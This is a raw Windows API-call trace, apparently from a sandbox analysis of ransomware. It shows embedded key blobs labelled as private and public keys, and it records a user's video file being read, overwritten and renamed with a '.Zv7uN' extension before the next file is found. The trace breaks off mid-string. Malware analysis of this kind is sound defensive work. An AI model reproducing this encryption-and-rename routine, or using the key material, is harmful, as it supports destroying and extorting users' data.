jDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.351] GetCurrentThreadId () returned 0xa30 [0087.351] GetCurrentThreadId () returned 0xa30 [0087.351] GetCurrentThreadId () returned 0xa30 [0087.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.352] GetCurrentThreadId () returned 0xa30 [0087.352] GetCurrentThreadId () returned 0xa30 [0087.352] GetCurrentThreadId () returned 0xa30 [0087.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\cueKOlXVJh9M3Adi.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\cuekolxvjh9m3adi.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.352] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.352] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.353] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x691d [0087.353] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.353] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x691d, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x691d, lpOverlapped=0x0) returned 1 [0087.355] CloseHandle (hObject=0x11c) returned 1 [0087.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\cueKOlXVJh9M3Adi.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\cuekolxvjh9m3adi.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.357] WriteFile (in: hFile=0x11c, lpBuffer=0x1f07f70*, nNumberOfBytesToWrite=0x691d, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f07f70*, lpNumberOfBytesWritten=0x18f6ac*=0x691d, lpOverlapped=0x0) returned 1 [0087.359] CloseHandle (hObject=0x11c) returned 1 [0087.363] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\cueKOlXVJh9M3Adi.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\cuekolxvjh9m3adi.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\cueKOlXVJh9M3Adi.mp4.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\cuekolxvjh9m3adi.mp4.zv7un")) returned 1 [0087.364] GetCurrentThreadId () returned 0xa30 [0087.364] GetCurrentThreadId () returned 0xa30 [0087.364] GetCurrentThreadId () returned 0xa30 [0087.364] GetCurrentThreadId () returned 0xa30 [0087.364] GetCurrentThreadId () returned 0xa30 [0087.364] GetCurrentThreadId () returned 0xa30 [0087.365] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f34b00, ftCreationTime.dwHighDateTime=0x1d5e6a9, ftLastAccessTime.dwLowDateTime=0xc60bfd00, ftLastAccessTime.dwHighDateTime=0x1d5e2da, ftLastWriteTime.dwLowDateTime=0xc60bfd00, ftLastWriteTime.dwHighDateTime=0x1d5e2da, nFileSizeHigh=0x0, nFileSizeLow=0x148ca, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="GpTL.swf", cAlternateFileName="")) returned 1 [0087.365] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.365] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.365] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\GpTL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\gptl.swf"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f34b00, ftCreationTime.dwHighDateTime=0x1d5e6a9, ftLastAccessTime.dwLowDateTime=0xc60bfd00, ftLastAccessTime.dwHighDateTime=0x1d5e2da, ftLastWriteTime.dwLowDateTime=0xc60bfd00, ftLastWriteTime.dwHighDateTime=0x1d5e2da, nFileSizeHigh=0x0, nFileSizeLow=0x148ca)) returned 1 [0087.365] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\GpTL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\gptl.swf")) returned 0x20 [0087.365] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\GpTL.swf", dwFileAttributes=0x80) returned 1 [0087.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKH